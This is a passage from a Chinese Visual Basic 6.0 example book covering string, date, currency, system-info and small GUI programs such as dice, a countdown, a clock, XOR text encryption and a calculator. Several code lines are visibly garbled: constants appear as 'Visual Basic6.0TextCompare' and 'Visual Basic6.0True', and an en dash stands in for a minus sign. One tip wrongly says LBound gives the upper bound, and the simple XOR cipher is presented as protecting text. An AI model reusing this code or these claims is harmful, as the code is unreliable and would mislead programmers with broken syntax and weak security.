            Exit Do                                    '跳出Do循环
        End If
        DoEvents                                        '转让控制权，以便让操作系统处理其他的事件
    Loop
End Function




秘笈心法

心法领悟168：双精度浮点型变量小知识。

Double（双精度浮点型）变量存储为IEEE64位（8个字节）浮点数值的形式，它的范围在负数时是从-1.79769313486232E308～-4.94065645841247E-324，而正数时是从4.94065645841247E-324～1.79769313486232E308。Double的类型声明字符是数字符号(#)。


 6.3　内置函数



 实例169　快速查找或替换文本中的字符

光盘位置：光盘\MR\06\169

中级

趣味指数：[image: ]




实例说明

本实例实现了快速查找或替换文本中的字符的功能。在本实例中利用Replace函数进行替换，利用InStr函数确定被查找字符串出现的位置。


	快速替换文本中的字符



例如，本实例在文本框1中输入字符串“风吹稻花香，小河水流淌”，在文本框2中输入字符串“樱花”。选中文本框1中字符串的“稻花”，单击“确定”按钮，用文本框2中的字符串替换在文本框1中被选中的字符串后的结果显示在文本框3中，显示结果如图6.27所示。

[image: ]
图6.27　快速替换文本中的字符




	快速查找文本中的字符



例如，本实例在文本框1中输入字符串“1”，在文本框2中输入“t1”，单击“确定”按钮，显示t1在文本框1中的位置，显示结果图6.28所示。

[image: ]
图6.28　快速查找文本中的字符



关键技术

在本例中利用Replace函数进行替换，利用InStr函数确定被查找字符串出现的位置。


说明：
 （1）Replace函数的详细讲解请参见实例135中的关键技术。

（2）InStr函数的详细讲解请参见实例125中的关键技术。

设计过程

1．快速替换文本中的字符

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“如何快速替换文本中的字符”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个Label控件，名称均使用其默认名称，Caption属性设置为“替换为”，BackStyle属性设置为0-Transparent，并设置Font属性。

（4）在窗体上添加3个TextBox控件，名称均使用其默认名称，BorderStyle属性设置为0-None，并设置Font属性。

（5）在窗体上添加一个CommandButton控件，名称使用其默认名称，Caption属性设置为“确定”，并设置Font属性。

（6）程序的运行代码如下：



Private Sub Command1_Click()
    Dim i As String                                        '定义字符串变量
    i = Text1.SelText                                    '返回当前所选择文本的字符串
    Text3.Text = Replace(Text1, i, Text2)                        '用Replace替换
End Sub




2．快速查找文本中的字符

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“如何快速查找文本中的字符”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个Label控件，名称均使用其默认名称，Caption属性设置为“查找：”，BackStyle属性设置为0-Transparent，并设置Font属性。

（4）在窗体上添加一个TextBox控件，名称使用其默认名称，BorderStyle属性设置为0-None，并设置Font属性。

（5）在窗体上添加一个CommandButton控件，名称使用其默认名称，Caption属性设置为“确定”，并设置Font属性。

（6）程序的运行代码如下：



Private Sub Command1_Click()
    Dim I                                            '定义变量
    Text1.SetFocus                                        '获得焦点
    I = InStr(1, Text1, Text2, Visual Basic6.0TextCompare)                '指定一字符串在另一字符串中最先出现的位置
    Text1.SelStart = I – 1                                    '返回所选择的文本的起始点
    Text1.SelLength = Len(Text2)                            '返回所选择的字符数
End Sub




秘笈心法

心法领悟169：RGB函数小知识。

RGB函数返回一个Long整数，用来表示一个RGB颜色值。在应用RGB函数时要注意所要显示色彩的方法或属性是否具有Color属性，如不存在Color属性，则程序运行出错。另外，RGB函数的参数范围是0～255，如果超过255，则被当作255来执行处理。



 实例170　将金额格式化为包含6位小数的格式

光盘位置：光盘\MR\06\170

中级

趣味指数：[image: ]




实例说明

本实例实现了将金额格式化为包含6位小数的格式。运行程序，在文本框中输入数字523565656，单击“转换”按钮，将金额格式化为含有6位小数的格式，程序的运行效果如图6.29所示。

[image: ]
图6.29　将金额格式化为包含6位小数的格式



关键技术

本实例通过使用FormatCurrency函数来实现，该函数返回一个货币值格式的表达式，它使用系统控制面板中定义的货币符号，语法如下：



FormatCurrency(Expression[,NumDigitsAfterDecimal [,IncludeLeadingDigit [,UseParensForNegativeNumbers [,GroupDigits]]]])




FormatCurrency函数语法中各部分的说明如表6.5所示。

表6.5　FormatCurrency函数语法中各部分的说明



	部分
	说明



	Expression
	必选参数。要格式化的表达式



	NumDigitsAfterDecimal
	可选参数。数字值，表示小数点右边的显示位数。默认值为-1，表示使用计算机的区域设置值



	IncludeLeadingDigit
	可选参数。三态常数，表示小数点前是否显示一个0



	UseParensForNegativeNumbers
	可选参数。三态常数，表示是否把负数值放在圆括号内



	GroupDigits
	可选参数。三态常数，表示是否用组分隔符对数字进行分组，组分隔符由计算机的区域设置值指定




IncludeLeadingDigit、UseParensForNegativeNumbers和GroupDigits参数的设置如表6.6所示。

表6.6　各参数的设置



	常数
	值
	说明



	TristateTrue
	–1
	True



	TristateFalse
	0
	False



	TristateUseDefault
	–2
	使用计算机区域设置中的设置值




示例：

FormatCurrency函数返回货币值格式的表达式，它使用系统控制面板中定义的货币符号。

（1）将450显示为货币。



formatcurrency(450)                                    '结果为：￥450.00




（2）保留小数点后3位。



FormatCurrency(343.4456, 3, Visual Basic6.0True)                '结果为：￥343.446




设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“将金额格式化为包含6位小数的格式”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个TextBox控件，用于输入小写金额数；添加两个CommandButton控件，Caption属性分别设置为“转换”和“重置”。

（4）程序的运行代码如下：



Private Sub Command1_Click()
    Dim i As Currency                    '声明货币型变量
    i = Val(Text1)                        '返回包含于字符串内的数字
    Text1.Text = FormatCurrency(i, 6)            '返回一个货币值格式的表达式，它使用系统控制面板中定义的货币符号
End Sub
    
Private Sub Command2_Click()
    Text1.Text = ""                        '置空
End Sub




秘笈心法

心法领悟170：IsMissing函数小知识。

返回Boolean值，指出一个可选的Variant参数是否已经传递给过程。IsMissing对简单数据类型（如Integer或Double等）不起作用，因为它们与Variant不同，它们没有“丢失”标志位。正因为如此，对于可选参数类型，可以指定默认值。如果调用过程时，参数被忽略，则该参数将具有默认值。



 实例171　将日期格式化为指定格式

光盘位置：光盘\MR\06\171

中级

趣味指数：[image: ]




实例说明

本实例实现了将日期格式化为固定的格式。运行程序，单击“日期格式化”按钮进行日期格式化，在文本框中将显示指定格式的日期，显示结果如图6.30所示。

[image: ]
图6.30　将日期格式化为指定格式



关键技术

本实例主要是通过使用CDate函数将字符串转换为日期，然后通过Format函数将日期转换为指定格式来实现的。

（1）CDate函数

每个函数都可以强制将一个表达式转换成日期型。返回值为任何有效的日期表达式，语法如下：



CDate(expression)




参数说明

expression：必选参数。expression参数可以是任何字符串表达式或数值表达式。

下面示例使用CDate函数将字符串转换成Date。一般来说，字符串格式的日期与时间硬编码（如示例中所示）并不好。较好的做法是使用日期原义表达式和时间的原义表达式（如#2/12/1969#，#4:45:23 PM#）。



Dim MyDate, MyShortDate, MyTime, MyShortTime
MyDate = "February 12, 1969"               '定义日期
MyShortDate = CDate(MyDate)              '转换为 Date 数据类型，返回值为1969-02-12
MyTime = "4:35:47 PM"                  '定义时间
MyShortTime = CDate(MyTime)           '转换为 Date 数据类型，返回值为16:35:47




（2）Format函数

该函数返回Variant (String)，其中含有一个表达式，它是根据格式表达式中的指令来格式化的，语法如下：



Format(expression[, format[, firstdayofweek[, firstweekofyear]]])




Format函数语法中各部分的说明如表6.7所示。

表6.7　Format函数语法中各部分的说明



	部分
	说明



	expression
	必选参数。任何有效的表达式



	format
	可选参数。有效的命名表达式或用户自定义格式表达式



	firstdayofweek
	可选参数。常数，表示一星期的第一天



	firstweekofyear
	可选参数。常数，表示一年的第一周





注意：
 如果在格式化数字时没有指定Format，Format会提供与Str函数类似的功能，尽管它是国际化的。然而，以Format作用在正数上不会保留正负号空间，而如果为Str的话则会。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“将日期格式化为指定格式”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个TextBox控件，用于输入日期；添加一个CommandButton控件，Caption属性设置为“日期格式化”。

（4）程序的运行代码如下：



Private Sub Command1_Click()
    Dim d As Date
    d = CDate(Text1.Text)
    Text1.Text = Format(d, "yyyy-mm-dd")
End Sub




秘笈心法

心法领悟171：IsNull函数小知识。

在某些情况下，希望表达式取值为True，例如，希望If Var = Null和If Var <> Null取值为True，而它们总取值为False。这是因为任何包含Null的表达式本身就是Null，所以为False。



 实例172　判断月份最后一天

光盘位置：光盘\MR\06\172

初级

趣味指数：[image: ]




实例说明

本实例实现了判断某年某月的最后一天。运行本实例程序后在文本框中输入年、月，单击“判断”按钮，显示该月的最后一天，程序的运行效果如图6.31所示。

[image: ]
图6.31　判断月份最后一天



关键技术

本实例主要是将输入的日期月份加1，并把日设为第一天，然后利用DateAdd函数减掉一天就可以得到指定年月的最后一天的日期，最后利用Day函数获取该日期的日。程序中通过应用DateSerial函数、DateAdd 函数和Day函数来实现，下面详细介绍这几个函数。

（1）DateSerial函数

该函数用于返回包含指定的年、月、日的Variant (Date)，语法如下：



DateSerial(year, month, day)




参数说明

❶ year：必选参数；Integer。从100～9999间的整数，或一数值表达式。

❷ month：必选参数；Integer。任何数值表达式。

❸ day：必选参数；Integer。任何数值表达式。


说明：
 为了指定某个日期，例如，2002年12月31日，DateSerial函数中的每个参数的取值范围应该是可接受的；即日的取值范围应在1～31之间，而月的取值范围应在1～12之间。但是，当一个数值表达式表示某日之前或其后的年、月、日时，也可以为每个使用这个数值表达式的参数指定相对日期。

（2）Day函数

该函数返回一个Variant(Integer)，其值为1～31之间的整数，表示一个月中的某一日，语法如下：



Day(date)




参数说明

date：必选参数。date参数可以是任何能够表示日期的Variant、数值表达式、字符串表达式或它们的组合。如果date包含Null，则返回Null。


说明：
 DateAdd函数的详细讲解请参见实例168中的关键技术。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“如何判断月份最后一天”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加4个Label控件，Caption属性分别设置为“年”、“月”、“最后一天”和“日”；添加3个TextBox控件；添加两个CommandButton控件，Caption属性分别设置为“判断”和“退出”。

（4）程序的运行代码如下：



Private Sub Command1_Click()
    Dim d As Date
    d = DateSerial(Val(Text1), Val(Text2) + 1, 1)  '下一月的第一天
    d = DateAdd("d", -1, d)  '日期减1
    Text3.Text = Day(d)
End Sub




秘笈心法

心法领悟172：IsObject函数小知识。

如果IsObject函数的参数是Object类型或任何有效的类型，则IsObject返回True；否则返回False。即使变量已设置成Nothing，IsObject也仍返回True。



 实例173　获得Windows系统已经运行的时间

光盘位置：光盘\MR\06\173

中级

趣味指数：[image: ]




实例说明

本实例实现了获得Windows系统已经运行的时间，其中利用API函数中的GetTickCount函数可获取Windows系统已经运行时间（以毫秒为单位的Windows运行时间）。运行本实例程序后显示结果如图6.32所示。

[image: ]
图6.32　获得Windows系统已经运行的时间



关键技术

本实例的实现主要是通过利用API函数中的GetTickCount函数可获取Windows系统已经运行时间来实现的。GetTickCount函数的语法声明如下：



Declare Function GetTickCount Lib "kernel32" Alias "GetTickCount" () As Long




GetTickCount函数用于获取自Windows启动以来经历的时间长度（毫秒），其返回值为Long，以毫秒为单位的Windows运行时间。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“如何获得Windows系统已经运行的时间”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个Label控件，Caption属性设置为“Windows已经运行：”；添加一个TextBox控件。

（4）程序的运行代码如下：



Private Declare Function GetTickCount& Lib "kernel32" ()
   
Private Sub Form_Load()
    Dim h, m, s, i As Long
    i = GetTickCount \ 1000
    h = i \ 3600
    m = (i Mod 3600) \ 60
    s = i Mod 3600 Mod 60
    Text1.Text = h & "小时" & m & "分钟" & s & "秒"
End Sub




秘笈心法

心法领悟173：VarType函数小知识。

VarType函数不向vbArray返回值。VarType总是要加上一些其他值来指出一个具体类型的数组。例如，常数vbVariant只与vbArray一起返回，以表明VarType函数的参数是一个Variant类型的数组。



 实例174　获取当前日期与指定日期的绝对值

光盘位置：光盘\MR\06\174

中级

趣味指数：[image: ]




实例说明

在指定日期文本框中输入指定的日期，单击“获取”按钮，将显示当前日期与指定日期差和差的绝对值，程序的运行效果如图6.33所示。

[image: ]
图6.33　获取当前日期与指定日期差的绝对值



关键技术

本实例的实现主要是通过使用DateDiff函数和CDate函数来实现的。

DateDiff函数返回Variant(Long)的值，表示两个指定日期间的时间间隔数目，语法如下：



DateDiff(interval, date1, date2[, firstdayofweek[, firstweekofyear]])




DateDiff函数语法中的各部分说明如表6.8所示。

表6.8　DateDiff函数语法中的各部分说明



	部分
	说明



	interval
	必选参数。字符串表达式，表示用来计算date1和date2的时间差的时间间隔



	date1,date2
	必选参数；Variant(Date)。计算中要用到的两个日期



	firstdayofweek
	可选参数。指定一个星期的第一天的常数。如果未予指定，则以星期日为第一天



	firstweekofyear
	可选参数。指定一年的第一周的常数。如果未予指定，则以包含1月1日的星期为第一周





说明：
 CDate函数的详细讲解请参见实例171中的关键技术。

设计过程

（1）新建VB工程，将窗体的Caption属性设置为“获取当前日期与指定日期差的绝对值”。

（2）在窗体上添加4个标签控件，其中Label3、Label4用于显示日期差和绝对日期差。

（3）在窗体上添加两个文本框，一个用于显示当前日期，另一个用于输入指定的日期。

（4）在窗体上添加一个命令按钮，设置Caption属性为“获取”。

（5）程序的运行代码如下：



Private Sub Command1_Click()    
        Dim i
        i = DateDiff("d", CDate(Text1), CDate(Text2))
        Label3.Caption = "日期差：" & i & "天"
        i = Abs(i)
        Label4.Caption = "绝对日期差：" & i & "天"
End Sub
    
Private Sub Form_Load()
        Text2.Text = Date
End Sub




秘笈心法

心法领悟174：将短日期格式格式化为长日期格式。

利用Format函数将日期格式化为长日期格式。语句：Format(date,"Long Date")，其中"Long Date"关键字代表将日期显示格式设置为长日期格式，代码如下：



Private Sub Command1_Click()
    Text1.Text = Format(Text1.Text, "Long Date")
End Sub






 实例175　使用Shell函数打开记事本

光盘位置：光盘\MR\06\175

初级

趣味指数：[image: ]




实例说明

本实例主要是使用Shell函数打开记事本。运行程序，单击“打开记事本”按钮，将会弹出无标题的记事本，程序的运行效果如图6.34所示。

[image: ]
图6.34　打开记事本



关键技术

Shell函数可以调用不同操作系统下的应用程序（即在DOS下或Windows系统下运行的程序），语法如下：



Shell(<程序名>[,<运行样式>])




参数说明

❶ 程序名：必选参数；Variant (String)类型。要执行的程序名，以及任何必需的参数或命令行变量，可能还包括目录、文件夹以及驱动器。

❷ 运行样式：可选参数；Variant (Integer)类型。表示在程序运行时窗口的样式。如果省略运行样式，则调用的程序具有焦点且以最小化窗口运行。运行样式的参数及其值如表6.9所示。

表6.9　运行样式的参数及其值



	参数
	值
	说明



	Visual Basic6.0 Hide
	0
	窗口被隐藏，且焦点会移到隐式窗口



	Visual Basic6.0 NormalFocus
	1
	窗口具有焦点，且会还原到它原来的大小和位置



	Visual Basic6.0 MinimizedFocus
	2
	窗口会以一个具有焦点的图标来显示



	Visual Basic6.0 MaximizedFocus
	3
	窗口是一个具有焦点的最大化窗口



	Visual Basic6.0 NormalNoFocus
	4
	窗口会被还原到最近使用的大小和位置，而当前活动的窗口仍然保持活动



	Visual Basic6.0 MinimizedNoFocus
	6
	窗口会以一个图标来显示，而当前活动的窗口仍然保持活动




设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“打开记事本”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个CommandButton控件，Caption属性设置为“打开记事本”，用于执行打开记事本命令。

（4）程序的运行代码如下：



Dim strtemp As String * 60  '定义字符变量存储路径
Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long   '声明API函数
Private Sub Command1_Click()
    Dim L, S
    Dim paths As String
    L = GetSystemDirectory(strtemp, Len(strtemp))             '获取路径
    paths = Left(strtemp, L) & "\NOTEPAD.EXE"            '路径转换
    S = Shell(paths, 3)
End Sub




秘笈心法

心法领悟175：局部变量小知识。

局部变量指的是只能在一个函数或过程中访问的变量，其他过程或函数不能访问此变量。局部变量通过在过程内部使用Dim或者Static语句声明变量，通过Dim语句声明的变量在每次调用该过程时，程序将重新为这个变量赋一个初始值，其值在过程结束后将被释放；而Static语句声明的变量在每次调用该过程时，不会被程序重新赋一个初始值，其值在过程结束后将被保留，下次再调用该过程时，变量的初值是上次调用结束时被保留的值。使用Static语句声明的变量为静态变量。



 实例176　获取系统环境信息

光盘位置：光盘\MR\06\176

中级

趣味指数：[image: ]




实例说明

本实例实现了获取系统的环境信息的功能，利用Environ函数可以获取操作系统环境变量。例如，本实例获取系统环境变量索引从1～10的系统环境信息，启动程序后，将系统的环境信息显示在窗体上，程序的运行效果如图6.35所示。

[image: ]
图6.35　获取系统环境信息



关键技术

本实例主要是通过使用Environ函数可以获取操作系统环境变量来实现的。Environ函数返回String，它关联于一个操作系统环境变量。在Macintosh中不可用，语法如下：



Environ({envstring | number})




参数说明

❶ envstring：可选参数。包含一个环境变量名的字符串表达式。

❷ number：可选参数。数值表达式，用来表示环境字符串在环境字符串表格中的数值顺序。number 参数可以是任意的数值表达式，不过在计算前，它会先转换为一个整数。

下面示例使用Environ函数取得索引值为1的环境变量。



EnvString = Environ(1)   '取得环境变量




设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“如何获取系统环境信息”，StartUpPosition属性设置为“2-屏幕中心”。

（3）程序的运行代码如下：



Private Sub Form_Resize()
    For i = 1 To 10
        Print "索引" & i & "  "; Environ(i) & Chr(13) & Chr(10)
    Next i
End Sub




秘笈心法

心法领悟176：App.Path与函数CurDir的区别小知识。

App.Path与函数CurDir同样可以获得应用程序处在操作系统当前的路径，但CurDir函数只有程序生成可执行文件后才能获得应用程序处在操作系统当前的路径。



 实例177　掷骰子

光盘位置：光盘\MR\06\177

高级

趣味指数：[image: ]




实例说明

本实例实现了掷骰子的功能，其中主要应用了Randomize函数和Rnd函数。程序的运行效果如图6.36所示。

[image: ]
图6.36　程序的启动效果



单击“开始”按钮，左边的骰子就开始滚动，当单击“停止”按钮时，左边的骰子会停止滚动并产生一个随机的数。其实现界面如图6.37所示。

[image: ]
图6.37　骰子滚动完成的效果



关键技术

本实例主要是利用Shape控件的Shape属性设计出骰子的外形，利用随机函数生成一个1～6的随机数，根据这些点数，显示不同位置的Shape控件。

设计过程

（1）新建一个标准工程。

（2）在工程中新建一个窗体，将窗体的Caption属性设置为“掷骰子”。

（3）在窗体上添加一个Shape控件，使用默认名，用于充当骰子的边缘。

（4）在Shape1中添加7个Shape控件，设置名称为Shape2的控件数组，添加完成的效果如图6.38所示。

[image: ]
图6.38　设计完成的效果



（5）在窗体上添加一个Label控件，设置Font属性如图6.39所示。

[image: ]
图6.39　设置Font属性



（6）在窗体上添加两个CommandButton控件，设置Caption属性分别为“开始”和“停止”。

（7）在窗体上添加一个Timer控件，设置Enabled属性为False，设置Interval属性为50。

（8）代码设计。

在窗体加载时，设置Shape控件的相关外形属性，并调用自定义过程DisPlay显示1点的效果，程序的运行代码如下：



Private Sub Form_Load()                        '窗体加载
    For i = 0 To 6                            '从0～6做循环，设置“点”的样式
        Shape2(i).FillColor = &H0&                '设置填充颜色为黑色
        Shape2(i).FillStyle = 0                    '设置填充样式为实心
        Shape2(i).Shape = 3                    '设置形状为圆形
        Shape2(i).Visible = False                '设置为不可见
    Next i
    Shape1.FillColor = &HFFFFFF                '设置Shape1的填充颜色为白色
    Shape1.FillStyle = 0                '设置填充样式为实心
    Shape1.Shape = 5                '设置形状为圆角正方形
    Randomize Timer                '初始化
    Label1.Caption = "1 点"            '在标签中显示“1点”
    DisPlay (1)                    '调用自定义函数，显示“1点”效果
End Sub




DisPlay过程用于根据输入的数字显示相应的Shape控件，程序代码如下：



Sub DisPlay(a)
    For i = 0 To 6                    '遍历所有的Shape2控件
        Shape2(i).Visible = False        '将控件设置为不可用
    Next i
    For i = 0 To 6                    '遍历所有的控件
        If i <> 2 Or i <> 4 Then            '如果序号不是2或4
            Shape2(i).FillColor = &H0&    '设置填充颜色
        End If
    Next i
    Select Case a                    '根据点数，显示对应Shape控件
    Case 1                        '如果是1点
        '设置控件的填充颜色和可见性
        Shape2(3).FillColor = &H0&
        Shape2(3).Visible = True
    Case 2                        '如果是2点
        '设置控件的填充颜色和可见性
        Shape2(0).Visible = True
        Shape2(6).Visible = True
    Case 3                        '如果是3点
        ''设置控件的填充颜色和可见性
        Shape2(0).Visible = True
        Shape2(3).Visible = True
        Shape2(6).Visible = True
    Case 4                        '如果是4点
        '设置控件的填充颜色和可见性
        For i = 0 To 6
            If i = 0 Or i = 2 Or i = 4 Or i = 6 Then
                Shape2(i).Visible = True
            End If
        Next i
    Case 5                        '如果是5点
        '设置控件的填充颜色和可见性
        For i = 0 To 6
            If i = 0 Or i = 2 Or i = 3 Or i = 4 Or i = 6 Then
                Shape2(i).Visible = True
            End If
        Next i
    Case 6                        '如果是6点
        '设置控件的填充颜色和可见性
        For i = 0 To 6
            If i <> 3 Then
                Shape2(i).Visible = True
            End If
        Next i
    End Select
End Sub




程序运行起来，单击“开始”按钮，设置Timer控件的Enabled属性为True，点数开始滚动，实现代码如下：



Private Sub Command1_Click()
    Timer1.Enabled = True                '设置Timer控件可用
End Sub




当Timer控件可用时，会触发Timer控件的Timer事件，程序代码如下：



Private Sub Timer1_Timer()
    Randomize                    '初始化随机数
    num = Int(Rnd * 6) + 1            '产生一个随机数
    Label1.Caption = num & "点"            '在标签控件中显示当前的点数
    DisPlay (num)                    '调用自定义过程显示骰子的点数
End Sub




单击“停止”按钮，会停止骰子的滚动，并显示一个随机生成的点数，程序代码如下：



Private Sub Command2_Click()
    Timer1.Enabled = False        '设置Timer控件不可用
    num = Int(Rnd * 6) + 1        '产生一个随机数
    Label1.Caption = num & "点"        '在标签中显示点数
    DisPlay (num)                '利用Shape控件显示产生的点数
End Sub




秘笈心法

心法领悟177：将长日期格式格式化为短日期格式。

利用Format函数将日期格式化为短日期格式。语句：Format(date, "Short Date")，其中"Short Date"关键字代表将日期显示格式设置为短日期格式，代码如下：



Private Sub Command1_Click()
    Text2.Text = Format(CDate(Text1), "Short Date")
End Sub
Private Sub Form_Load()
    Text1.Text = "2007年3月8日"
End Sub






 实例178　倒计时程序

光盘位置：光盘\MR\06\178

高级

趣味指数：[image: ]




实例说明

高考倒计时、航天飞船起飞倒计时、奥运会倒计时……在生活中经常会遇到倒计时。这里设计一个程序实现倒计时功能。程序运行效果如图6.40所示。本实例首先指定一个时间或日期，然后利用DateDiff函数计算给定时间或日期与当前系统时间或日期的差值，实现倒计时的功能。

[image: ]
图6.40　倒计时程序运行界面



关键技术

本实例的实现主要是通过使用DateDiff函数来实现的。


说明：
 DateDiff函数的详细讲解请参见实例174中的关键技术。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“倒计时”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加两个Label控件和一个TextBox控件；添加两个CommandButton控件，Caption属性设置为“倒计时”和“停止”。

（4）程序的运行代码如下：



Option Explicit
Private Sub Command1_Click()
    Timer1.Interval = 1
    Timer1.Enabled = True
End Sub
Private Sub Command2_Click()
    Timer1.Enabled = False
End Sub
Private Sub Text1_Change()
    Timer1.Enabled = False
End Sub
Private Sub Timer1_Timer()
    On Error GoTo H
    Timer1.Interval = 1000
    Dim i As Date
    i = CDate(Text1)
    Label1.Caption = "距离" & Text1 & "还剩" & DateDiff("d", Now, i) & "天" & CLng(DateDiff("h", Now, i)) Mod 24 & "小时" & CLng(DateDiff("n", Now, i)) Mod 60 & "分" & CLng(DateDiff("s", Now, i)) Mod 60 & " 秒"
    Exit Sub
H:
    MsgBox "请输入正确的时间"
    Timer1.Enabled = False
End Sub




秘笈心法

心法领悟178：Error函数小知识。

返回对应于已知错误号的错误信息。Error的隐式转换是不允许的，例如，不能直接把CVErr的返回值赋值给一个非Variant的变量。然而，可以对CVErr的返回值进行显式转换（使用CInt、CDbl等），并赋值给适当的数据类型变量。



 实例179　数字时钟

光盘位置：光盘\MR\06\179

高级

趣味指数：[image: ]




实例说明

[image: ]
图6.41　显示在桌面上的小时钟



本实例设计了一个精美的桌面数字时钟。这种数字时钟在生活中非常实用，放在桌面上既美观又实用。运行程序，程序的运行效果如图6.41所示。

关键技术

绘制时钟程序主要是在窗体上使用PSet方法按照坐标位置画点，来绘制一个时钟形状的图案。使用Line控件作为时钟的时针、分针和秒针；使用时钟控件控制时针、分针和秒针的坐标位置的改变；通过计算获得在当前时间的坐标位置。使用API函数将窗体背景颜色抠掉，实现一个透明的窗体。另外，为了使程序美观，时钟窗体是无标题栏窗体，要使用API函数实现移动无标题栏的窗体。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称为Frm_Small_Clock，将Caption属性设置为“数字时钟”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加3个Line控件，分别用于显示时针、分针和秒针；添加一个PictureBox控件，并设置Picture属性；添加一个Timer控件，Enabled属性设置为True，Interval属性设置为1000。

（4）程序的运行代码如下：



Private Sub Timer1_Timer()
    Dim S, M1, H1 As Single '记录旋转的度数
    Dim H As Integer '记录小时
    '读取系统时间
    H = Hour(Time)
    M = Minute(Time)
    '计算指针旋转的度数
    S = (Second(Time) + 0.5) * PI / 30 '
    H1 = (H + (M * 60 + S) / 3600) * PI / 6 - PI / 2
    M1 = (M + S / 60) * (PI / 30) - PI / 2
    With Me
        '绘制时针
        Line3.X2 = 45 * Cos(-H1)
        Line3.Y2 = 45 * Sin(-H1)
        Line3.Refresh
        '绘制分针
    
        Line2.X2 = 55 * Cos(-M1)
        Line2.Y2 = 55 * Sin(-M1)
        Line2.Refresh
        '绘制秒针
        Line1.X2 = 75 * Cos(-Second(Time) * (PI / 30) + PI / 2)
        Line1.Y2 = 75 * Sin(-Second(Time) * (PI / 30) + PI / 2)
        Line1.Refresh
    End With
End Sub




秘笈心法

心法领悟179：CVErr函数与IsError函数小知识。

利用CVErr函数将实数转换成错误值就会建立错误值。IsError函数被用来确定一个数值表达式是否表示一个错误。如果expression参数表示一个错误，则IsError返回True；否则返回False。



 实例180　文本加密与解密

光盘位置：光盘\MR\06\180

高级

趣味指数：[image: ]




实例说明

文本加密与解密能够保护文本安全。运行本实例程序，在文本框中输入要加密的字符串和密码，单击“加密或解密”按钮，在文本框中将显示加密后解密后的字符串。加密前窗体界面如图6.42所示，加密后效果如图6.43所示。



	[image: ]
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	图6.42　文本加密前
	图6.43　文本加密后效果




关键技术

在本实例中首先利用Mid函数和Asc函数获取文本和密码字符串每一位字符的ASCII码，然后将文本中某一位字符串的ASCII码与相应的密码字符串中某一位的ASCII码进行异或运算，最后利用Chr函数将运算出的ASCII转换为字符。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“文本加密与解密”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加两个TextBox控件；添加一个Label控件，Caption属性设置为“密码”；添加一个CommandButton控件，Caption属性设置为“加密或解密”。

（4）程序的运行代码如下：



Private Function encrypt(spassword As String, stext As String) As String
    Dim i As Integer
    Dim ipchar As Integer
    Dim icchar As Integer
    Do While Len(spassword) < Len(stext)
        spassword = spassword & spassword
    Loop
    For i = 1 To Len(stext)
        ipchar = Asc(Mid(spassword, i, 1))
        icchar = Asc(Mid(stext, i, 1))
        Mid(stext, i, 1) = Chr(ipchar Xor icchar)
    Next i
    encrypt = stext
    Text1.Text = stext
End Function
    
Private Sub Command1_Click()
    encrypt Text2, Text1
End Sub




秘笈心法

心法领悟180：LBound函数与UBound函数小知识。

LBound函数与UBound函数一起使用，用来确定一个数组的大小。UBound用来确定数组某一维的上界。所有维的默认下界都是0或1，这取决于Option Base语句的设置。LBound用来确定数组某一维的上界。



 实例181　我的计算器

光盘位置：光盘\MR\06\181

高级

趣味指数：[image: ]




实例说明

Windows中自带了一个计算器，使用该计算器可以进行计算。这里使用Visual Basic 6.0设计一个计算器，可以根据自己的喜好设置好看的界面，程序的运行效果如图6.44所示。

[image: ]
图6.44　计算器运行界面




说明：
 将计算器的数字键设置为控件数组。使用数学函数Sin、Sqr、Tan等实现计算器的复杂计算。

关键技术

本实例主要用到了语句和函数的知识，由于这些内容在前面都有详细的讲解，这里不再赘述。本实例还用到了API函数的Sleep函数，该函数的功能是将一个线程的运作挂起指定的时间，语法如下：



Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)




参数说明

dwMilliseconds：Long，将线程挂起的毫秒时间长度。如设为常数INFINITE，表示将一个线程永久性地催眠。

返回值为Long，仅适用于SleepEx。如超出时间溢出，则为0。如由于异步I/O操作完成导致了函数的返回，则为WAIT_IO_COMPLETION。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“计算器”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加如图6.45中所需的各种控件，由于控件个数比较多，这里就不一一详细介绍了。

（4）程序的运行代码如下：



Private Sub equal_Click()
    If choice = "+" Then
        current = prev + current
        Text1.Text = current
    ElseIf choice = "-" Then
        current = prev - current
        Text1.Text = current
    ElseIf choice = "*" Then
        current = prev * current
        Text1.Text = current
    ElseIf choice = "/" And current <> 0 Then
        current = prev / current
        Text1.Text = current
    Else
        Text1.Text = "Press AC to continue"
        dz.Visible = True
        dz.Caption = "Division by ZERO"
    End If
    If current < 0 Then
        sroot.Enabled = False
    Else
        sroot.Enabled = True
    End If
End Sub




